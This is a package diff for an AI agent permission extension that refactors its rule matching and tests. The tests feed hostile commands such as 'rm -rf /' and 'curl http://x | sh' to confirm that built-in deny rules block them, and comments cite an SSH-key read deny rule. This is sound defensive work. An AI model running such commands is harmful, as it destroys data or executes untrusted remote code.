@zhushanwen/pi-permission 1.4.2 → 1.4.4

package/src/model-picker.ts

@@ -21,13 +21,11 @@
 
 import { type Component, Container, type SelectItem, SelectList, type SelectListTheme, truncateToWidth } from "@earendil-works/pi-tui";
 import type { Api, Model } from "@earendil-works/pi-ai";
+import { parseModelRef } from "@zhushanwen/pi-llm-shared";
 
 import type { ResolvedModelEntry } from "./classifier/model-resolver.js";
 import { DEFAULT_SELECT_THEME } from "./select-theme.js";
 
-// 保持既有 public 名（model-picker.test.ts MPT7 直接消费此路径）。
-export { DEFAULT_SELECT_THEME };
-
 // ──────────────────────── 类型 ────────────────────────
 
 /** 选择结果（discriminated union）；undefined = cancel / 降级。 */
@@ -134,11 +132,6 @@ export class ProviderModelSelectorComponent extends Container {
 		return lines;
 	}
 
-	/** 退出（外部 abort 用）。复用 _resolved 守卫防二次 done。 */
-	cancel(): void {
-		this.settle(undefined);
-	}
-
 	private settle(result: SelectionResult | undefined): void {
 		if (this._resolved) return;
 		this._resolved = true;
@@ -190,13 +183,16 @@ export class ProviderModelSelectorComponent extends Container {
 		return items;
 	}
 
-	/** 计算 provider stage 预选 index（currentSpec='auto' → 0；'provider/model' → findIndex）。 */
+	/**
+	 * 计算 provider stage 预选 index（currentSpec='auto' → 0；'provider/model' → findIndex）。
+	 * 无效 ref（缺 / 或前后为空，如 'provider/'）→ parseModelRef 返 null → 0（整体回 Auto，
+	 * ext-simplify-18 D4 登记的行为微变：不再预选半截 provider）。
+	 */
 	private computeProviderSelectedIndex(): number {
 		if (this.currentSpec === "auto") return 0;
-		const slashIdx = this.currentSpec.indexOf("/");
-		if (slashIdx <= 0) return 0;
-		const provider = this.currentSpec.slice(0, slashIdx);
-		const idx = this.providers.indexOf(provider);
+		const parsed = parseModelRef(this.currentSpec);
+		if (!parsed) return 0;
+		const idx = this.providers.indexOf(parsed.provider);
 		return idx >= 0 ? idx + 1 : 0; // +1 跳过 'Auto'
 	}
 
@@ -235,12 +231,11 @@ export class ProviderModelSelectorComponent extends Container {
 		return list;
 	}
 
-	/** 计算 model stage 预选 index。 */
+	/** 计算 model stage 预选 index（无效 ref → parseModelRef 返 null → 0）。 */
 	private computeModelSelectedIndex(models: readonly ResolvedModelEntry[]): number {
-		const slashIdx = this.currentSpec.indexOf("/");
-		if (slashIdx <= 0) return 0;
-		const modelId = this.currentSpec.slice(slashIdx + 1);
-		const idx = models.findIndex((m) => m.id === modelId);
+		const parsed = parseModelRef(this.currentSpec);
+		if (!parsed) return 0;
+		const idx = models.findIndex((m) => m.id === parsed.modelId);
 		return idx >= 0 ? idx : 0;
 	}
 
@@ -282,34 +277,28 @@ export interface ModelPickerContext {
 	};
 }
 
-/** listAvailableModels 注入签名（E2 改走 ctx.modelRegistry，签名带 ctx；便于测试 mock）。 */
-export type ListAvailableModelsFn = (
-	ctx: ModelPickerContext,
-) => Map<string, ResolvedModelEntry[]>;
-
 /**
  * 通过 overlay 选择模型（provider/model 或 auto）。
  *
  * @param ctx UI 上下文（mode + ui.*）
  * @param currentSpec 当前 classifier.model（'auto' 或 'provider/model-id'），用于预选
- * @param models 可选，预加载的 models Map（避免重复读盘）；未传则用默认 listAvailableModels
+ * @param models 可用模型 Map（listAvailableModels 产物，按 provider 分组；调用方判空降级）
  * @returns 'auto' / 'provider/model-id' / undefined（cancel 或 headless 降级）
  */
 export async function pickModelViaOverlay(
 	ctx: ModelPickerContext,
 	currentSpec: string,
-	models?: Map<string, ResolvedModelEntry[]>,
+	models: Map<string, ResolvedModelEntry[]>,
 ): Promise<string | undefined> {
-	const modelsByProvider = models ?? listAvailableModelsDefault(ctx);
-	if (modelsByProvider.size === 0) return undefined;
+	if (models.size === 0) return undefined;
 
-	const providers = [...modelsByProvider.keys()];
+	const providers = [...models.keys()];
 
 	switch (ctx.mode) {
 		case "tui":
-			return await pickViaTui(ctx, currentSpec, providers, modelsByProvider);
+			return await pickViaTui(ctx, currentSpec, providers, models);
 		case "rpc":
-			return await pickViaRpc(ctx, currentSpec, providers, modelsByProvider);
+			return await pickViaRpc(ctx, currentSpec, providers, models);
 		case "json":
 		case "print":
 		default:
@@ -317,14 +306,6 @@ export async function pickModelViaOverlay(
 	}
 }
 
-/** 默认 listAvailableModels（生产路径用，index.ts 装配时注入真实实现）。 */
-let listAvailableModelsDefault: ListAvailableModelsFn = (): Map<string, ResolvedModelEntry[]> => new Map();
-
-/** 注入默认 listAvailableModels 实现（index.ts 装配时调用，或测试覆盖）。 */
-export function setDefaultListAvailableModels(fn: ListAvailableModelsFn): void {
-	listAvailableModelsDefault = fn;
-}
-
 // ──────────────────────── TUI 分支 ────────────────────────
 
 /**

package/src/pipeline.ts

@@ -4,8 +4,8 @@
  * 架构（自上而下）：
  *  - checkPermission：纯函数，按 mode 分发。deps 全注入（测试可 mock，不触碰 fs/network）。
  *  - runLayer2：bash 走 matchRulesForArgv（遍历 AST 拆出的 argv[]）；非 bash 走
- *    matchNonBashTool（G1：W3 matcher 对 toolName!=='bash' 直接 ask，但 W5 需要让
- *    Read/Write/Edit 也评估用户规则，故本模块自带 helper，复用 wildcardToRegExp）。
+ *    matchNonBashTool（G1：让 Read/Write/Edit 也评估用户规则；pattern 双语义与
+ *    last-match-wins 循环均经 matcher 单源，wildcardToRegExp 只编译 tool 字段）。
  *  - runLayer3WithRacing：AI Classifier + 用户审批竞速（移植 classifier-racing.ts）。
  *    G3：用户审批的 ctx.ui.custom 工厂在调之前先检查 signal.aborted，避免 AI 先于
  *    UI 触发 abort 时 comp 尚未创建导致 cancel 落空。
@@ -14,10 +14,16 @@
  *
  * fail-closed 原则：任何异常路径 → ask（交人工，不静默放行）。
  * checkPermission 永不 throw（caller index.ts 的 tool_call handler 依赖此契约）。
+ *
+ * 白盒导出声明（E9）：buildApprovalRequest / matchNonBashTool / runLayer2 /
+ * applyAutoApproveOverrides / runLayer3WithRacing 是内部测试 seam，非包公共 API
+ * （包 main 只导出工厂函数，外部消费者不存在）——pipeline.test.ts / e2e-modes.test.ts
+ * 白盒直测锚定安全语义（runLayer2 聚合表 / matchNonBashTool 非 bash 语义），故保留。
  */
 
+import { toErrorMessage } from "@zhushanwen/pi-ext-guards";
 import { getLogger } from "@zhushanwen/pi-extension-logger";
-import { matchRules } from "./rules/matcher.js";
+import { lastMatchWins, matchRules, resolvePattern } from "./rules/matcher.js";
 import { wildcardToRegExp } from "./rules/wildcard.js";
 import type {
 	ApprovalRequest,
@@ -68,20 +74,20 @@ export function buildApprovalRequest(
 /**
  * G1 修正：非 bash 工具规则匹配 helper。
  *
- * W3 matcher.ts 的 matchRules 对 toolName!=='bash' 直接返回 ask（W3 只管 bash），
- * 但 W5 需要让 Read/Write/Edit 也评估用户规则（用户可能写 `read ~/.ssh/*` 的 deny 规则）。
- * 故本模块自带 helper，不依赖 matchRules 的非 bash 路径。
+ * W5 需要让 Read/Write/Edit 也评估用户规则（用户可能写 `read ~/.ssh/*` 的 deny 规则），
+ * matcher 的 bash 入口不覆盖该场景，故本模块自带 helper。
  *
  * M5 修正：pattern 对 path 匹配（而非 toolName）。用户规则如 `read ~/.ssh/*` 的
  * pattern `~/.ssh/*` 应对文件路径生效，对 toolName='read' 匹配是失效的。
  *  - tool 字段仍对 toolName 匹配（wildcard，支持 'read'/'write'/'*'）。
  *  - pattern 字段对 path 匹配；path 为 undefined 时退化为对 toolName 匹配
  *    （兼容 rule.tool='read' pattern='*' 这种不关心路径的规则）。
- *  - pattern 字段用 wildcardToRegExp 编译（用户规则是 OpenCode wildcard）。
- *  - builtin-danger 规则的 pattern 是 RegExp 源串（含 \b），这里用 new RegExp(pattern,'i')。
+ *  - pattern 双语义分发（builtin-danger RegExp 源串 vs 其余 wildcard）走
+ *    matcher.resolvePattern 单源（E7/M10，含 patternCache 复用）。
  *  - 无匹配 → ask（与 G1 一致，deny 到下游）。
  *
- * ~20 行，复用 wildcardToRegExp（不重新实现 wildcard 语义）。
+ * 复用 wildcardToRegExp（tool 字段编译）/ resolvePattern / lastMatchWins，
+ * 不重新实现任何匹配语义。
  */
 export function matchNonBashTool(
 	toolName: string,
@@ -92,20 +98,13 @@ export function matchNonBashTool(
 		return { action: "ask", matchedRule: undefined };
 	}
 	const matchTarget = path ?? toolName;
-	let winner: RuleMatchResult = { action: "ask", matchedRule: undefined };
-	for (const rule of rules) {
-		// tool 字段匹配（wildcard，支持 '*' / 精确 'read'）
-		const toolRe = wildcardToRegExp(rule.tool);
-		if (!toolRe.test(toolName)) continue;
-		// pattern 字段：builtin-danger 是 RegExp 源串，其余是 wildcard。
-		const patternRe =
-			rule.source === "builtin-danger" ? new RegExp(rule.pattern, "i") : wildcardToRegExp(rule.pattern);
-		// M5：pattern 对 path 匹配（path 缺省时对 toolName，'*' 总是命中）。
-		if (patternRe.test(matchTarget)) {
-			winner = { action: rule.action, matchedRule: rule };
-		}
-	}
-	return winner;
+	// M5：pattern 对 path 匹配（path 缺省时对 toolName，'*' 总是命中）；
+	// E11：last-match-wins 循环走 matcher 单源（tool 不匹配时短路，不编译 pattern）。
+	return lastMatchWins(
+		rules,
+		(rule) =>
+			wildcardToRegExp(rule.tool).test(toolName) && resolvePattern(rule).test(matchTarget),
+	);
 }
 
 /**
@@ -141,7 +140,7 @@ export function runLayer2(
 	if (argvList.length === 0) {
 		// bash 但 AST 没拆出命令（parseError 或空）→ 仍做 C1 完整字符串 deny 检查
 		// （命令本身可能含管道，AST 拆不出但 deny 规则能命中）
-		const fullCmdDeny = matchRules("bash", command, rules);
+		const fullCmdDeny = matchRules(command, rules);
 		if (fullCmdDeny.action === "deny") return fullCmdDeny;
 		return { action: "ask", matchedRule: undefined };
 	}
@@ -160,7 +159,7 @@ export function runLayer2(
 	// C1：对完整 command 字符串做 deny 补充检查（覆盖跨 argv 管道如 curl|sh）。
 	// 仅 deny 能覆盖 argv 级结果；完整字符串检查不查白名单（matchRules 语义），
 	// 故不会把 argv 级 deny/ask 提升为 allow。
-	const fullCmdDeny = matchRules("bash", command, rules);
+	const fullCmdDeny = matchRules(command, rules);
 	if (fullCmdDeny.action === "deny") return fullCmdDeny;
 	if (sawAsk) return { action: "ask", matchedRule: undefined };
 	return lastAllow ?? { action: "ask", matchedRule: undefined };
@@ -224,7 +223,7 @@ function startAiClassification(
 	signal: AbortSignal,
 ): Promise<ClassifierResult> {
 	return deps.classifier.classifyRisk(ctx, config, signal).catch((err: unknown) => {
-		const msg = err instanceof Error ? err.message : String(err);
+		const msg = toErrorMessage(err);
 		return {
 			outcome: "ask" as const,
 			risk_level: "medium" as const,
@@ -554,8 +553,7 @@ async function runAstLayer(
  * @param config classifier 配置（auto 模式用）
  * @param userRules 用户规则（与 getDefaultRules 拼接）
  * @param deps 注入依赖
- * @param ctxBase 工具调用上下文基线（cwd/agentName）
- * @param signal 外层 abort signal
+ * @param ctxBase 工具调用上下文基线（cwd/agentName，含 signal）
  */
 export async function checkPermission(
 	toolName: string,
@@ -589,7 +587,7 @@ export async function checkPermission(
 	const rules = [...deps.getDefaultRules(), ...userRules];
 	// C1：传入完整 command（bash 跨 argv 管道 deny 补充检查）；
 	// M5：传入 path（非 bash 工具规则对 path 匹配）。
-	const layer2 = runLayer2ForArgvList(toolName, ast.argvList, rules, deps, command, ctx.path);
+	const layer2 = runLayer2(toolName, ast.argvList, rules, deps.matchRulesForArgv, command, ctx.path);
 
 	const decided = ruleDecision(layer2);
 	if (decided !== null) {
@@ -606,21 +604,6 @@ export async function checkPermission(
 	return await runLayer3WithRacing(deps, ctx, config, ctxBase.signal);
 }
 
-/**
- * 层 2 规则匹配（用注入的 deps.matchRulesForArgv）。
- * 薄封装 runLayer2，把注入的 matcher 传入纯逻辑版。
- */
-function runLayer2ForArgvList(
-	toolName: string,
-	argvList: string[][],
-	rules: readonly Rule[],
-	deps: CheckPermissionDeps,
-	command: string | undefined,
-	path: string | undefined,
-): RuleMatchResult {
-	return runLayer2(toolName, argvList, rules, deps.matchRulesForArgv, command, path);
-}
-
 /** approve/strict 模式的人工审批封装（无 AI）。 */
 async function askUser(
 	deps: CheckPermissionDeps,

package/src/rule-editor.ts

@@ -2,7 +2,7 @@
  * W8: Rule editor overlay — three-mode dispatch (TUI / RPC / headless).
  *
  * editRulesViaOverlay：主入口，按 ctx.mode 分发。
- * editViaRpc：RPC 循环（list → action → fill → ...），deps 注入。
+ * editViaRpc：RPC 循环（list → action → fill → ...）。
  * G16：RPC listOptions 用 applyOps(initialRules, ops) 重建。
  */
 
@@ -12,9 +12,6 @@ import type { Rule } from "./types.js";
 
 // ──────────────────────── 类型 ────────────────────────
 
-/** RuleOp re-export（rule-templates.ts 定义）。 */
-export type { RuleOp } from "./rule-templates.js";
-
 /** 编辑结果：RuleOp[]（有变更）或 undefined（cancel / headless 降级）。 */
 export type RuleEditorResult = RuleOp[] | undefined;
 
@@ -33,12 +30,6 @@ export interface RuleEditorContext {
 	};
 }
 
-/** editViaRpc 依赖注入（便于测试 mock）。 */
-export interface RuleEditorRpcDeps {
-	select: (title: string, options: string[]) => Promise<string | undefined>;
-	input: (title: string, placeholder?: string) => Promise<string | undefined>;
-}
-
 // ──────────────────────── editRulesViaOverlay（主入口） ────────────────────────
 
 /**
@@ -47,20 +38,18 @@ export interface RuleEditorRpcDeps {
  * @param ctx UI 上下文（mode + ui.*）
  * @param initialRules 当前 userRules
  * @param sessionIdCounter user-N id 生成器闭包
- * @param rpcDeps 可选 RPC 依赖注入（测试 mock 用）
  * @returns RuleOp[]（有变更）或 undefined（cancel / headless）
  */
 export async function editRulesViaOverlay(
 	ctx: RuleEditorContext,
 	initialRules: readonly Rule[],
 	sessionIdCounter: () => string,
-	rpcDeps?: RuleEditorRpcDeps,
 ): Promise<RuleEditorResult> {
 	switch (ctx.mode) {
 		case "tui":
 			return await editViaTui(ctx, initialRules, sessionIdCounter);
 		case "rpc":
-			return await editViaRpc(ctx, initialRules, sessionIdCounter, rpcDeps);
+			return await editViaRpc(ctx, initialRules, sessionIdCounter);
 		case "json":
 		case "print":
 		default:
@@ -102,11 +91,10 @@ interface RpcIo {
  * ctx.ui.input 可用 → 用真实文本输入（custom 模板需要自由文本）；
  * 不可用 → fallback 把 input 降级为单选项 select（占位符文本，仅保底）。
  */
-function resolveRpcInput(ctx: RuleEditorContext, rpcDeps?: RuleEditorRpcDeps): RpcIo["input"] {
-	return rpcDeps?.input
-		?? (typeof ctx.ui.input === "function"
-			? (title: string, ph?: string) => ctx.ui.input!(title, ph)
-			: (title: string, ph?: string) => ctx.ui.select(title, [ph ?? ""]).then((v) => v === undefined ? undefined : v));
+function resolveRpcInput(ctx: RuleEditorContext): RpcIo["input"] {
+	return typeof ctx.ui.input === "function"
+		? (title: string, ph?: string) => ctx.ui.input!(title, ph)
+		: (title: string, ph?: string) => ctx.ui.select(title, [ph ?? ""]).then((v) => v === undefined ? undefined : v);
 }
 
 /** 单轮 RPC list 画面：当前规则集（applyOps 反映前序操作）+ 标签 + 选项。 */
@@ -185,17 +173,15 @@ async function runRpcLoop(
  * RPC 循环编辑：list → action select → fill input → ... 直到 Done / cancel。
  *
  * G16：每次 op 后 listOptions 更新（反映前序操作）。
- * deps 注入 select/input 便于测试 mock。
  */
 export async function editViaRpc(
 	ctx: RuleEditorContext,
 	initialRules: readonly Rule[],
 	sessionIdCounter: () => string,
-	rpcDeps?: RuleEditorRpcDeps,
 ): Promise<RuleEditorResult> {
 	const io: RpcIo = {
-		select: rpcDeps?.select ?? ctx.ui.select,
-		input: resolveRpcInput(ctx, rpcDeps),
+		select: ctx.ui.select,
+		input: resolveRpcInput(ctx),
 	};
 	return await runRpcLoop(io, initialRules, sessionIdCounter);
 }

package/src/rules/__tests__/index.test.ts

@@ -1,26 +1,17 @@
 /**
  * IT 系列：rules/index.ts barrel 导出验证。
  *
- * 确保公开 API surface 完整，调用方可从 "./rules/index.js" 一处 import。
+ * E10 收敛后 barrel 只保留有生产消费的 2 符号（getDefaultRules / matchRulesForArgv）；
+ * 其余符号的行为测试走深路径（matcher.test.ts / builtins.test.ts / wildcard.test.ts）。
  */
 import { describe, expect, it } from "vitest";
 
 import * as rulesApi from "../index.js";
 
 describe("IT: rules barrel 导出", () => {
-	it("导出所有公开函数", () => {
-		expect(typeof rulesApi.matchRules).toBe("function");
-		expect(typeof rulesApi.matchRulesForArgv).toBe("function");
-		expect(typeof rulesApi.resolvePattern).toBe("function");
+	it("只导出 2 个有生产消费的符号", () => {
+		expect(Object.keys(rulesApi).sort()).toEqual(["getDefaultRules", "matchRulesForArgv"]);
 		expect(typeof rulesApi.getDefaultRules).toBe("function");
-		expect(typeof rulesApi.isKnownSafeCommand).toBe("function");
-		expect(typeof rulesApi.findGitSubcommand).toBe("function");
-		expect(typeof rulesApi.wildcardToRegExp).toBe("function");
-	});
-
-	it("导出常量数据（BUILTIN_DANGER_RULES / BUILTIN_UNCONDITIONAL_SAFE）", () => {
-		expect(Array.isArray(rulesApi.BUILTIN_DANGER_RULES)).toBe(true);
-		expect(rulesApi.BUILTIN_DANGER_RULES.length).toBe(12);
-		expect(rulesApi.BUILTIN_UNCONDITIONAL_SAFE.size).toBe(50);
+		expect(typeof rulesApi.matchRulesForArgv).toBe("function");
 	});
 });

package/src/rules/__tests__/matcher.test.ts

@@ -11,13 +11,8 @@
 import { describe, expect, it } from "vitest";
 
 import type { Rule } from "../../types.js";
-import {
-	BUILTIN_DANGER_RULES,
-	getDefaultRules,
-	matchRules,
-	matchRulesForArgv,
-	resolvePattern,
-} from "../index.js";
+import { BUILTIN_DANGER_RULES, getDefaultRules } from "../builtins.js";
+import { matchRules, matchRulesForArgv, resolvePattern } from "../matcher.js";
 
 // 构造 user 规则的辅助
 function userRule(id: string, pattern: string, action: Rule["action"] = "allow"): Rule {
@@ -37,7 +32,7 @@ describe("MT-G1: no-match 返回 ask（非 deny）", () => {
 
 	it("matchRules 无匹配 → ask", () => {
 		const rules: Rule[] = [userRule("u1", "npm *")];
-		const r = matchRules("bash", "ls", rules);
+		const r = matchRules("ls", rules);
 		expect(r.action).toBe("ask");
 		expect(r.matchedRule).toBeUndefined();
 	});
@@ -119,7 +114,7 @@ describe("MT-G3: matchRulesForArgv 白名单兜底（C3：不再短路，user de
 
 	it("matchRules（退化路径）不调 isKnownSafeCommand —— command 字符串", () => {
 		// matchRules 不查白名单，直接对 command 字符串做正则/wildcard 匹配
-		const r = matchRules("bash", "ls -la", []);
+		const r = matchRules("ls -la", []);
 		expect(r.action).toBe("ask"); // 无规则匹配 → ask（不查白名单）
 	});
 
@@ -178,30 +173,28 @@ describe("MT-last-match-wins: 后匹配的规则胜出", () => {
 // ──────────────────────── matchRules 退化路径 ────────────────────────
 
 describe("MT-matchRules: 退化路径（command 字符串）", () => {
-	it("toolName !== 'bash' → ask", () => {
-		const r = matchRules("edit", "rm -rf /", getDefaultRules());
-		expect(r.action).toBe("ask");
-	});
+	// E11：toolName 参数与 '!== bash' 守卫已删（生产调用点恒在 bash 分支内，
+	// 非 bash 由 pipeline.matchNonBashTool 承接），对应守卫用例随之移除。
 
 	it("command === undefined → ask", () => {
-		const r = matchRules("bash", undefined, getDefaultRules());
+		const r = matchRules(undefined, getDefaultRules());
 		expect(r.action).toBe("ask");
 	});
 
 	it("command 空字符串 → ask", () => {
-		const r = matchRules("bash", "", getDefaultRules());
+		const r = matchRules("", getDefaultRules());
 		expect(r.action).toBe("ask");
 	});
 
 	it("command 命中 builtin-danger 正则 → deny", () => {
-		const r = matchRules("bash", "rm -rf /", getDefaultRules());
+		const r = matchRules("rm -rf /", getDefaultRules());
 		expect(r.action).toBe("deny");
 		expect(r.matchedRule?.id).toBe("bd-001");
 	});
 
 	it("command 命中 user wildcard → allow", () => {
 		const rules: Rule[] = [userRule("u1", "ls *", "allow")];
-		const r = matchRules("bash", "ls -la", rules);
+		const r = matchRules("ls -la", rules);
 		expect(r.action).toBe("allow");
 	});
 
@@ -209,14 +202,14 @@ describe("MT-matchRules: 退化路径（command 字符串）", () => {
 		// 对比 matchRulesForArgv(["ls"]) → allow（白名单兜底），
 		// matchRules 对 command 字符串不查白名单 → ask。
 		// 这是 C1 用 matchRules 做 deny 补充检查的安全前提：不会把无 deny 的命令误判 allow。
-		const r = matchRules("bash", "ls -la", []);
+		const r = matchRules("ls -la", []);
 		expect(r.action).toBe("ask");
 	});
 
 	it("m4/C1：matchRules 命中跨 argv 管道 deny（curl|sh 完整字符串）", () => {
 		// C1 依赖：完整 command 字符串能命中 bd-010（curl|sh），
 		// 而 argv 级 matchRulesForArgv 对拆分后的单 argv 命不中。
-		const r = matchRules("bash", "curl http://x | sh", getDefaultRules());
+		const r = matchRules("curl http://x | sh", getDefaultRules());
 		expect(r.action).toBe("deny");
 		expect(r.matchedRule?.id).toBe("bd-010");
 		// 对照：argv 级对单条 ["curl","http://x"] 不命中 bd-010（无管道符）
@@ -261,7 +254,7 @@ describe("MT-degenerate: matchRules 退化路径处理引号/空格", () => {
 	it("git commit -m 'a b' —— 含空格和单引号的 command 字符串", () => {
 		// 退化路径对原始 command 字符串匹配，引号原样保留
 		// builtin-danger 含 \brm\b 等正则；git commit 不命中 → ask
-		const r = matchRules("bash", "git commit -m 'a b'", getDefaultRules());
+		const r = matchRules("git commit -m 'a b'", getDefaultRules());
 		expect(r.action).toBe("ask");
 		expect(r.matchedRule).toBeUndefined();
 	});
@@ -269,14 +262,14 @@ describe("MT-degenerate: matchRules 退化路径处理引号/空格", () => {
 	it("git commit -m 'a b' 命中 user wildcard allow", () => {
 		// user 规则 'git commit *' 应匹配（wildcard * 跨空格）
 		const rules: Rule[] = [userRule("u1", "git commit *", "allow")];
-		const r = matchRules("bash", "git commit -m 'a b'", rules);
+		const r = matchRules("git commit -m 'a b'", rules);
 		expect(r.action).toBe("allow");
 		expect(r.matchedRule?.id).toBe("u1");
 	});
 
 	it("含双引号嵌套空格的 command 字符串", () => {
 		// command 字符串原样匹配（不解析引号语义）
-		const r = matchRules("bash", 'echo "hello world"', getDefaultRules());
+		const r = matchRules('echo "hello world"', getDefaultRules());
 		// echo 命中 builtin-danger？查实际行为：echo 不在 danger 列表 → ask
 		expect(r.action).toBe("ask");
 	});
@@ -364,7 +357,7 @@ describe("MT-contract: no-match ask 语义契约", () => {
 	});
 
 	it("matchRules no-match 永远返回 { action:'ask', matchedRule:undefined }", () => {
-		const r = matchRules("bash", "nonexistent-command --flag", []);
+		const r = matchRules("nonexistent-command --flag", []);
 		expect(r).toEqual({ action: "ask", matchedRule: undefined });
 	});
 

package/src/rules/index.ts

@@ -1,27 +1,10 @@
 /**
- * rules 模块 barrel —— 只 re-export 公开 API。
+ * rules 模块 barrel —— 只 re-export 有真实消费的公开 API（E10 收敛）。
  *
- * 公开 surface（供 W5/调用方使用）：
- *  - matchRules / matchRulesForArgv：规则匹配入口
- *  - getDefaultRules：内置危险规则（12 条）
- *  - isKnownSafeCommand：Codex 白名单判断（W5 可能直接用）
- *  - wildcardToRegExp：wildcard 编译（测试用）
- *  - findGitSubcommand：git 子命令提取（测试用）
- *
- * 类型从 ../types.js re-export（Rule / RuleMatchResult / PermissionAction 等）。
+ * 生产消费面 = production.ts：getDefaultRules（内置规则拼接）+ matchRulesForArgv
+ * （bash argv 匹配）。其余符号（matchRules / resolvePattern / wildcardToRegExp /
+ * builtins 数据）无 barrel 消费——pipeline.ts 与各测试均走深路径 import；
+ * 类型一律直接从 ../types.js import，barrel 不做类型 re-export。
  */
-export type {
-	PermissionAction,
-	Rule,
-	RuleMatchResult,
-	RuleSource,
-} from "../types.js";
-export {
-	BUILTIN_DANGER_RULES,
-	BUILTIN_UNCONDITIONAL_SAFE,
-	findGitSubcommand,
-	getDefaultRules,
-	isKnownSafeCommand,
-} from "./builtins.js";
-export { matchRules, matchRulesForArgv, resolvePattern } from "./matcher.js";
-export { wildcardToRegExp } from "./wildcard.js";
+export { getDefaultRules } from "./builtins.js";
+export { matchRulesForArgv } from "./matcher.js";

package/src/rules/matcher.ts

@@ -18,7 +18,8 @@
  *  再查 isKnownSafeCommand(argv) 兜底返回 allow。白名单不再短路：用户 deny 规则
  *  可覆盖白名单。白名单不进 Rule[] 数组（Codex flag 子检查无法用单条 wildcard 表达）。
  *
- * 匹配语义：last-match-wins（rules 数组顺序遍历，最后匹配的 rule 胜出）。
+ * 匹配语义：last-match-wins（rules 数组顺序遍历，最后匹配的 rule 胜出），
+ * 循环单源在 lastMatchWins（E11，pipeline.matchNonBashTool 也消费）。
  * 拼接顺序由调用方（W5）负责：[...builtin-danger, ...userRules]。
  */
 
@@ -58,6 +59,28 @@ export function resolvePattern(rule: Rule): RegExp {
 	return re;
 }
 
+// ──────────────────────── lastMatchWins（循环单源，E11） ────────────────────────
+
+/**
+ * last-match-wins 循环单源（E11：原三份循环——matchRulesForArgv / matchRules /
+ * pipeline.matchNonBashTool——收敛）。
+ *
+ * 按 rules 数组顺序遍历，predicate 命中时记录 winner，最后匹配者胜出；
+ * 无匹配返回 `{ action: 'ask', matchedRule: undefined }`（G1 兜底）。
+ */
+export function lastMatchWins(
+	rules: readonly Rule[],
+	predicate: (rule: Rule) => boolean,
+): RuleMatchResult {
+	let winner: RuleMatchResult = { action: "ask", matchedRule: undefined };
+	for (const rule of rules) {
+		if (predicate(rule)) {
+			winner = { action: rule.action, matchedRule: rule };
+		}
+	}
+	return winner;
+}
+
 // ──────────────────────── matchRulesForArgv（happy path，W2 clean=true 有 argv[]）────────────────────────
 
 /** 命中 isKnownSafeCommand 时构造的虚拟 builtin-safe rule（保持 matchedRule 字段一致性）。 */
@@ -95,13 +118,7 @@ export function matchRulesForArgv(argv: string[], rules: readonly Rule[]): RuleM
 
 	const commandStr = argv.join(" ");
 
-	let winner: RuleMatchResult = { action: "ask", matchedRule: undefined };
-	for (const rule of rules) {
-		const re = resolvePattern(rule);
-		if (re.test(commandStr)) {
-			winner = { action: rule.action, matchedRule: rule };
-		}
-	}
+	const winner = lastMatchWins(rules, (rule) => resolvePattern(rule).test(commandStr));
 
 	// deny / allow 直接由 winner 决定（用户规则可覆盖白名单）
 	if (winner.action === "deny" || winner.action === "allow") {
@@ -128,33 +145,23 @@ export function matchRulesForArgv(argv: string[], rules: readonly Rule[]): RuleM
  *     管道拆分后单个 argv 不含 `|`，deny 规则的正则无法命中）。
  *
  * 行为：
- *  - toolName !== 'bash' → ask（W3 只管 bash，其他工具交下游）
  *  - command === undefined / 空字符串 → ask
  *  - 遍历 rules（last-match-wins），对每条用 resolvePattern(rule).test(command)
  *  - 无匹配 → ask（G1）
  *
+ * E11：toolName 参数与 `toolName !== 'bash'` 守卫已删——生产调用点（pipeline.runLayer2）
+ * 恒在 bash 分支内调用，非 bash 由 matchNonBashTool 承接，守卫是不可达的投机分支。
+ *
  * 不调 isKnownSafeCommand（不查白名单）：command 字符串无法可靠提取 argv
  * （含引号/转义/管道），argv 级白名单判断由 matchRulesForArgv 在 happy path 负责。
  * 因此本函数仅用于 deny 补充检查或退化路径，不用作 allow 放行依据。
  */
 export function matchRules(
-	toolName: string,
 	command: string | undefined,
 	rules: readonly Rule[],
 ): RuleMatchResult {
-	if (toolName !== "bash") {
-		return { action: "ask", matchedRule: undefined };
-	}
 	if (command === undefined || command === "") {
 		return { action: "ask", matchedRule: undefined };
 	}
-
-	let winner: RuleMatchResult = { action: "ask", matchedRule: undefined };
-	for (const rule of rules) {
-		const re = resolvePattern(rule);
-		if (re.test(command)) {
-			winner = { action: rule.action, matchedRule: rule };
-		}
-	}
-	return winner;
+	return lastMatchWins(rules, (rule) => resolvePattern(rule).test(command));
 }